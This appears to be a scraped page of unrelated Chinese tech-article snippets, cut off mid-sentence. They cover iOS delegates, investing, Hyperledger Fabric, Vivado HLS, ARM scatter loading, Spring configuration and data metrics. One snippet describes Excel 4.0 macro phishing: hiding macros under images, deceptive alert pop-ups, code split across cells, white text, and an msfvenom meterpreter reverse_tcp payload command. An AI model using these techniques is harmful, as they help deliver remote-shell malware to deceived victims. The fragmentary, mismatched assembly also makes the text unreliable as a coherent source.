代理的实现 #import @protocol StudentDeleagte - (void)dosomething:(NSString...stu.delegate = self; [stu startDeleagte]; } - (void)dosomething:(NSString *)str { NSLog(@"%@",str); } 块的实现
在投资领悟，有一个我们常见的概念，就是分散投资，比如分散注意力，我们是如何才能有效的分散注意力，可以听歌，跑步，与别人交流沟通，等等 但是在我们初入投资领悟的时候，其实我们很清楚分散投资，就是不要把鸡蛋放在同一个篮子里...，但是我们万万没想到的是，这些篮子有可能是坏掉的，所以有些初入投资领域的人，可能说就是把钱投资到多个标的物上，就是叫做分散投资 其实这真的不是分散投资，可能对于每个人来说，对分散投资这个概念的理解都是不一样的...，我对他的理解是这样的，首先投资，里面就包含着风险，我们再做投资的时候都必须要做好风险收益比例，如果风险大过于收益，那么就不是分散投资了，这就叫做风险投资，如果风险小于收益，在长期来看收益是不错的，那么这就才叫分散投资...,他们的风险很低，涨幅不错，还有一个不知名的山寨币，我们把钱按照风险比率投资这几个标的物上面，我觉得可以分散投资风险 费雪的投资方式，其中讲到卖出的原则时，有一点就是当投资品不再具有价值时我们就要卖出。...放在这里看，实际上就是投资品的价值越来越小，远低于它的风险时，我们就要卖出 因此分散投资不是选好投资品就一尘不变地持有，而是要随着环境的发展变化，不断审视它们的风险和收益，一旦发现风险过高，则这样的品种就要减仓甚至抛弃
Fabric 1.3中的新增的idemixer(Identity Mixer)以前不大懂zero-knowledge proof(零知识证明),原本觉得PKI基础的MSP是比较常用和稳健的方式,新加个验证方式是不是有点增加复杂性...如果使用Fabric的idemixer 2.1 测试开发环境使用idemixgen命令行 具体参看https://hyperledger-fabric.readthedocs.io/en/latest/...具体调用的go链码 package main import ( "fmt" "log" "os" "strconv" "strings" "github.com/hyperledger/fabric-chaincode-go.../pkg/cid" "github.com/hyperledger/fabric-chaincode-go/shim" pb "github.com/hyperledger/fabric-protos-go...But got: %v", args[0])) } 2.3 idemixer的限制 还不大完善,基本现阶段还是推荐用传统的MSP方式,具体参考https://hyperledger-fabric.readthedocs.io
业务流程在许多应用程序中是相似的。物联网设备提供的数据和大数据分析允许提取见解。然而，人们所面临的一个巨大挑战是，所有这些数据将在哪里处理和存储?...而且，一个多月所上传到YouTube的视频超过了60多年来创建的三大美国网络的容量。这些数字表明了用户定期产生的数据量惊人。在机器应用中，也有类似的趋势。...即使网络容量奇迹般地增加以应对数据的激增，由于数据的长距离传输中具有巨大延迟，物理定律也会抑制中央云端数据的远程处理。很显然，人们需要一个新的计算模型来应对超连接的世界。...分散计算的未来 计算从大型机的集中式架构开始，随着个人计算机的发展，在20世纪80年代演变成分布式计算模式。互联网时代最初始于服务器架构这个集中的客户端，后来成为当前的中央云计算模式。...人们显然需要一种模式转变，将数以百亿计的设备面临的挑战转变为机遇，将计算设备的力量释放到边缘。一个实用的解决方案是建立一个完全分散的架构，每个计算设备都是一个云服务器。
Vivado HLS会自动决定函数内部操作的流水级数，但用户也可以通过其他方法控制流水程度。...方法1：在RESOURCE中修改Latency RESOURCE是HLS中的一种Directive，用于指定操作需要用什么资源实现，例如，可以将数组映射为RAM_1P_BRAM，即单端口RAM，且该RAM...在RESOURCE的界面中，有一个选项Latency，如下图所示。一旦设定Latency的具体数值，Vivado HLS会遵循该值以确定流水程度。 ?...当作用于函数时，该值决定了计算所有输出所需要的时钟周期个数；当作用于循环时，循环完成所有迭代所需要的时钟周期个数（不是单次循环所需要的时钟周期个数）。...如果实际的Latency正好大于min而小于max，那么综合结果就满足了这个约束的要求；如果实际的Latency比min还要小，那么Vivado HLS会增加Latency以满足约束规定的min的要求；
Hyperledger Fabric 超级账本的硬伤 Netkiller Blockchain 手札 本文作者最近在找工作，有意向致电 13113668890 Mr....netkiller.sourceforge.net 微信订阅号 netkiller-ebook (微信扫描二维码） QQ：13721218 请注明“读者” QQ群：128659835 请注明“读者” 在使用超级账本的过程中我发现一个问题...count = count + 1 stub.PutState(key,count) return shim.Success(count) } 使用多线程请求chaincode中的...很多场景需要更新区块中的数据，如果频繁操作，就会产生覆盖，目前Hyperledger Fabirc 并没有提供解决方案。 1....mutex 也无法解决上面的问题，因为 mutex 锁只能工作在一个进程中。
Hyperledger Fabric Node.js开发中如何使用日志？本教程就来演示下如何使用hyperledgefabric node.js客户端日志记录功能。...概述 hyperledger fabric node.js客户端日志记录使用node.js winston 开发包。当node.js应用程序首次加载hyperledger结构包时，日志记录被初始化。...将default.json配置文件中的日志设置改为一个条目： "hfc-logging": "{'debug':'console', 'info':'console'}" 使用环境设置覆盖修改配置： export...export HFC_LOGGING='{"debug":"/temp/debug.log","info":"console"}' 使用应用程序中的日志记录 当需要记录应用程序代码中的条目以及HyperledgeFabric...这里是Hyperledger Fabric Node.js开发中如何使用日志
1、什么是分散加载 程序是静态的概念，有数据有代码，都是存在不同的区域，但是进程是动态的概念，主进程在运行的时候，会实际修改对应的数据，还有在上电加载的时候将数据段搬到对应的位置，都是属于运行态，由程序执行来保证...比如上图，在可执行的视图里面，分散加载会找到对于的Code、Data地址，然后加载，对于一些其他段，比如bss段会进行初始化为0的操作。...2、分散加载的作用 2.1 ARMCC 编译器分散加载代码 本文以STM32的启动为介绍，在介绍分散加载启动之前，介绍一下STM32的启动方式，总共有三种启动方式。...综述函数的作用 来看看具体的分散加载代码，是如何搬运data 和初始化bss段的。...通俗点来讲__main函数初始化运行态的环境，主要的功能就是做分散加载将Code位置搬运正确，才能正常运行Code。
Loader中的逻辑相对复杂，有比较多的遍历和过滤条件，这里不做展开。...扩展-实现分散配置 在不使用SpringCloud配置中心的情况下，一般的SpringBoot项目的配置文件如下： - src - main - resources - application-prod.yaml...自动装配的属性值和Environment实例中的属性和预期一样，改造是成功的。...小结 Spring中的环境属性管理的源码个人认为是最清晰和简单的：从文件中读取数据转化为key-value结构，key-value结构存放在一个PropertySource实例中，然后得到的多个PropertySource...实例存放在一个CopyOnWriteArrayList中，属性访问的时候总是遍历CopyOnWriteArrayList中的PropertySource进行匹配。
整理 ：技术让梦想更伟大 | 李肖遥 使用分散文件指定栈和堆 ARM C 库提供了该函数的多种实现__user_setup_stackheap()，并且可以从分散文件中提供的信息中自动为您选择正确的一种...__AT_0x00005000 main.o 123456789 使用分散加载将变量放置在指定段中的示例 此示例显示如何使用分散文件修改源代码以将代码和数据放置在特定部分中：1、创建main.c包含以下代码的源文件...分散加载描述放置： 初始化代码放在文件的INIT段中init.o。...best_fit当您想最大程度地填充区域时使用。worst_fit当您想要均匀填充区域时使用。使用相同大小的区域和部分worst_fit循环填充区域。...使用ALIGN，ALIGNALL或FIXED在分散的文件属性可导致在镜像中的大量填充的。
Hyperledger Ledger从1.2升到1.3之后，同事反馈同样的脚本，创建通道或加入通道，部分人没问题，部分人一直有问题。...docker images查询了下hyperledger/fabric-couchdb版本都是latest....具体使用docker inspect hyperledger/fabric-couchdb 才查询到实际版本为 ".base.version": "amd64-0.4.14", 这个是当前最新的版本，查看...实际上hyperledger fabric-couchdb 0.4.14镜像使用的couchdb版本为2.2.0比较新了。...而hyperledger fabric-coudb 0.4.13镜像使用的couchdb为2.1.1。应该是版本变化有些大。
但是如果你想了解BYFN是如何工作的，你可以参考： 1.Hyperledger Fabric官方BYFN教程 2.我之前关于BYFN的文章 基于帐户的钱包模型 基于帐户的钱包模型是交易系统的实现之一，一般而言系统中存在一些钱包...[可选] Hyperledger Fabric中有两个数据库选项用于保存超级账本的world state：LevelDB和CouchDB，在本教程中，为了简单起见，我将使用LevelDB。...[可选]在我的负载测试和一些关于Hyperledger Fabric性能的论文中，LevelDB的性能优于CouchDB。...此外，在我们的例子中，我们在整个交易系统中只支持一种代币类型（即只有一种代币）。...这里是原文通过Java Chaincode实例学习交易系统中基于Hyperledger Fabric帐户的钱包模型 (adsbygoogle = window.adsbygoogle || [
预计阅读时间：10min 阅读建议：本篇内容是在实战中总结出来的，篇幅较长，建议整段时间完整阅读，可以「关注」「收藏」，一定会让你有所收获。...解决痛点：归因分析中，针对不同指标类型，如何在结论中，体现出问题对于大盘的贡献程度？...00 序言 本期为异动归因的最后一期，前两期中，小火龙和大家分享了「指标异动排查思路」，以及步骤中的核心环节「如何快速定位异常维度」。...① 除法型-控制变量法 1、方法介绍 核心思想：仅将度量的维度值发生改变，其他维度值保持不变，从而评估仅在该维度值发生变化的时，对大盘变化的影响程度。...拆解的目的是为了解释，详细页访问次数的变化，后面三者分别贡献了多少？ 乘法型指标贡献度拆解有两种方式，在实战中结果相差不大，大家可以选择其中一种方式进行应用。
而HyperLedger Fabric在1.0对系统架构进行了升级，使得事务的处理更加复杂。...这是IBM微讲堂中对Fabric账本的示意图： Fabric 1.0中的账本分为3种： 区块链数据，这是用文件系统存储在Committer节点上的。区块链中存储了Transaction的读写集。...invoke -o orderer.example.com:7050 --tls $CORE_PEER_TLS_ENABLED --cafile /opt/gopath/src/github.com/hyperledger...这些设置是在configtx.yaml中设定的。...因为调用调用的是peer query，在代码中，只有invoke的时候才会执行Transaction步骤中的4、5、6、7. 但是如果我们使用peer invoke，那么会怎么样呢？
在时间序列预测中，时空预测是一种常见的方法，当各个时间序列存在空间关系时，将图神经网络引入，在之前的很多工作中都已经被验证了有明显的正向效果。...然而，时空预测由于引入了空间结构信息，会导致模型的计算复杂度显著提升。那么，我们多大程度上需要图结构的信息呢？能否在不影响效果的前提下，减少图结构信息的引入，以此提升模型效率呢？...如果能设计一种方式，实现图结构自适应学习过程中，能够学到稀疏的图结构，可以显著提升模型整体的计算效率，同时让学习到的图结构含义更加明确。...M表示两个节点间的边是否应该被剪枝，也就是设置为0，M中的元素是1或0两种类型。...4、实验结果 文中基于提出的稀疏化方法进行了实验，实验结果发现：稀疏程度达到99%以上，在inference阶段对test acc都没有太大影响。
有些时候数据的离散程度能够让我们数据分析得出一些其他信息，理想情况下数据越集中那么效果越好。那么有没有指标来衡量？答案是有得，今天主要学习一下数据离散程度的衡量指标。...2.四分位差 即数据样本的上四分之一位和下四分之一位的差值，放映了数据中间50%部分的离散程度，其数值越小表明数据越集中，数值越大表明数据越离散，同时由于中位数位于四分位数之间，故四分位差也放映出中位数对于数据样本的代表程度...，越小代表程度越高，越大代表程度越低。...但是取四分位数据的时候会因为数据的偏向问题影响，有可能上四分位和下四分位数据值相差太大，所以做为离散程度指标也欠妥。 ?...基于均值和标准差就可以大致明确数据集的中心及数值在中心周围的波动情况，也可以计算正态总体的置信区间等统计量 5.平方差 方差用取平方的方式消除数值偏差的正负，平均差用绝对值的方式消除偏差的正负性。
bigwigCompare是Deeptools组件中的一个，可以（通过比对上的reads）比较两个bigWig文件的差别。...eg. bigwigCompare --bigwig1 forebrain_1_fwd.bw --bigwig2 forebrain_1_rev.bw -o test 如果我们只想比较一部分区域的相似度可以用...forebrain_1_fwd.bw --bigwig2 forebrain_1_rev.bw --region chr10:456700:891000 --outFileFormat 指定输出文件的格式...--region chr10:456700:891000 -o test --outFileFormat bedgraph --blackListFileName BED或者GTF文件，使我们想要排除的区域
当一个新的节点想加入到区块链网络中，或一个异常的节点恢复正常后，此节点的区块高度落后于其它节点，其状态不是最新的，不能参与网络中交易的共识，此时就需要进行区块同步，该节点会主动向其它节点请求下载区块。...在联盟链Hyperledger Fabric中，在Fabric v2.3版本出来之前，一个新节点加入通道（通道，Fabric的一个特性，可以理解为一个通道就是一个区块链网络，不同通道间的账本是独立的，节点可以加入多个通道...），往往都需要同步通道中全量的数据，在一般的网络带宽中，同步过程将可能非常缓慢，几天或一两个星期都有可能。...数据同步是区块链中非常常见的场景，所以实现数据的快速同步也将是区块链的必备能力之一。Hyperledger Fabric作为最具代表的联盟链引擎，一直在不断更新迭代，功能也越来越完善。...附录： Fabric官方学习文档：https://hyperledger-fabric.readthedocs.io/en/latest/whatis.html Fabric私有数据：https://hyperledger-fabric.readthedocs.io
因为XLM的构造特点，如Auto_Open、数量贼多的char函数等等，某些AV还不管三七二十一的给你误报，所以bypass还是比较困难的。现在这个钓鱼方法已经工具化了，往往都集成了各种编码，加密。...这里只介绍几种从攻击团伙的样本中学到的一些姿势。...1、图片遮盖将宏代码隐藏在图片下，图片可以是提示启用宏的引导性内容 2、交互式消息弹窗=IF(ALERT("此文档与您的服务程序不兼容，是否还要继续查看此文档？"...meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows 代码是顺序执行的，...所以该执行的也不受影响，通过交互式弹窗的方式让鱼儿放松警将代码拆分保存在各个分散的单元格中 5、更改字体颜色 修改字体颜色为白色 6、修改二进制文件使用工具执行，该命令会使用默认模板写入并混淆。
在组织病理学中，AI模型的性能随着训练集的大小和多样性而增加。训练临床有用的AI模型通常需要与中央存储库共享患者相关数据。在实践中，这种数据共享面临法律和后勤障碍。...在过去的2年中，FL的这一限制已通过一组新的去中心化学习技术得到解决，包括区块链FL和SL。在SL中，AI模型在本地进行训练，模型集中组合，无需中央协调。...作者通过一项系统的读者研究进一步调查了检测模式的合理性，在这项研究中，一位盲法专家对1400个高评分图像块中对五个相关模式或结构的存在进行评分。...在这里，作者通过使用三个物理上独立的设备并在很大程度上使用开源软件来实现作者的代码来改进这一点。...为了评估SL项目生成的模型数据的可互换性，需要在大规模的国际合作中验证该技术。作者的研究为未来的此类工作提供了基准和明确的指导方针，最终为在日常工作流程中建立SL铺平了道路。
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